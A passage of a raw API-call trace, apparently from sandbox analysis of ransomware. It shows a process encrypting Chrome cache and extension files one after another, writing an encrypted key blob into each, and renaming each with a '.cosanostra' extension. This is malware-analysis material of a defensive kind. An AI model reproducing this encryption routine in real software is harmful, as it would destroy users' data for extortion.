dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.309] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 92 [0084.309] StrStrW (lpFirst="data_3", lpSrch=".txt") returned 0x0 [0084.319] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.319] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb7c*=0x2800, lpOverlapped=0x0) returned 1 [0084.320] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.320] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbbc*, lpNumberOfBytesWritten=0x26ffb7c*=0x4, lpOverlapped=0x0) returned 1 [0084.857] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb7c*=0x30, lpOverlapped=0x0) returned 1 [0084.857] CloseHandle (hObject=0x178) returned 1 [0084.859] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.cosanostra")) returned 1 [0084.895] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbb8 | out: pbBuffer=0x26ffbb8) returned 1 [0084.895] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbb0*=0x30) returned 1 [0084.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.920] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 156 [0084.920] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.921] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.921] WriteFile (in: hFile=0x18c, lpBuffer=0x3011550*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x26ffb74, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesWritten=0x26ffb74*=0xf3, lpOverlapped=0x0) returned 1 [0084.922] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.922] WriteFile (in: hFile=0x18c, lpBuffer=0x26ffbb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb74, lpOverlapped=0x0 | out: lpBuffer=0x26ffbb4*, lpNumberOfBytesWritten=0x26ffb74*=0x4, lpOverlapped=0x0) returned 1 [0084.922] WriteFile (in: hFile=0x18c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb74, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb74*=0x30, lpOverlapped=0x0) returned 1 [0084.922] CloseHandle (hObject=0x18c) returned 1 [0084.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.cosanostra")) returned 1 [0085.247] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffba8 | out: pbBuffer=0x26ffba8) returned 1 [0085.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffba0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffba0*=0x30) returned 1 [0085.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.566] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 162 [0085.566] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0085.588] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.588] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffb64, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb64*=0x2800, lpOverlapped=0x0) returned 1 [0085.588] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.588] WriteFile (in: hFile=0x178, lpBuffer=0x26ffba4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb64, lpOverlapped=0x0 | out: lpBuffer=0x26ffba4*, lpNumberOfBytesWritten=0x26ffb64*=0x4, lpOverlapped=0x0) returned 1 [0085.588] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb64, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb64*=0x30, lpOverlapped=0x0) returned 1 [0085.588] CloseHandle (hObject=0x178) returned 1 [0085.589] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0085.589] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffba0 | out: pbBuffer=0x26ffba0) returned 1 [0085.589] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb98*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb98*=0x30) returned 1 [0085.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.590] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 155 [0085.590] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.590] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.591] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x26ffb5c, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb5c*=0xd5, lpOverlapped=0x0) returned 1 [0085.591] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.591] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb5c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb9c*, lpNumberOfBytesWritten=0x26ffb5c*=0x4, lpOverlapped=0x0) returned 1 [0085.591] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb5c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb5c*=0x30, lpOverlapped=0x0) returned 1 [0085.591] CloseHandle (hObject=0x178) returned 1 [0085.591] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0085.592] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb98 | out: pbBuffer=0x26ffb98) returned 1 [0085.592] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb90*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb90*=0x30) returned 1 [0085.592] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.593] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 155 [0085.593] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.593] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.593] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x26ffb54, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb54*=0xc3, lpOverlapped=0x0) returned 1 [0085.594] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.594] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb54, lpOverlapped=0x0 | out: lpBuffer=0x26ffb94*, lpNumberOfBytesWritten=0x26ffb54*=0x4, lpOverlapped=0x0) returned 1 [0085.594] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb54, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb54*=0x30, lpOverlapped=0x0) returned 1 [0085.594] CloseHandle (hObject=0x178) returned 1 [0085.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0085.596] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb90 | out: pbBuffer=0x26ffb90) returned 1 [0085.596] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb88*=0x30) returned 1 [0085.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.596] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 155 [0085.596] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.598] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.598] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x26ffb4c, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb4c*=0xd9, lpOverlapped=0x0) returned 1 [0085.598] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.598] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb4c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb8c*, lpNumberOfBytesWritten=0x26ffb4c*=0x4, lpOverlapped=0x0) returned 1 [0085.598] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb4c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb4c*=0x30, lpOverlapped=0x0) returned 1 [0085.598] CloseHandle (hObject=0x178) returned 1 [0085.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0085.601] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb88 | out: pbBuffer=0x26ffb88) returned 1 [0085.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb80*=0x30) returned 1 [0085.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.602] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 155 [0085.602] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.603] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.603] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x26ffb44, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb44*=0xcf, lpOverlapped=0x0) returned 1 [0085.603] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.603] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb44, lpOverlapped=0x0 | out: lpBuffer=0x26ffb84*, lpNumberOfBytesWritten=0x26ffb44*=0x4, lpOverlapped=0x0) returned 1 [0085.603] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb44, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb44*=0x30, lpOverlapped=0x0) returned 1 [0085.603] CloseHandle (hObject=0x178) returned 1 [0085.603] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0085.605] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb80 | out: pbBuffer=0x26ffb80) returned 1 [0085.605] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb78*=0x30) returned 1 [0085.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.605] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 155 [0085.605] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.606] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.606] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x26ffb3c, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb3c*=0xe0, lpOverlapped=0x0) returned 1 [0085.606] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.606] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb3c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb7c*, lpNumberOfBytesWritten=0x26ffb3c*=0x4, lpOverlapped=0x0) returned 1 [0085.607] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb3c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb3c*=0x30, lpOverlapped=0x0) returned 1 [0085.607] CloseHandle (hObject=0x178) returned 1 [0085.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0085.609] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb78 | out: pbBuffer=0x26ffb78) returned 1 [0085.609] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb70*=0x30) returned 1 [0085.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.609] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 155 [0085.609] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.611] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.611] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, 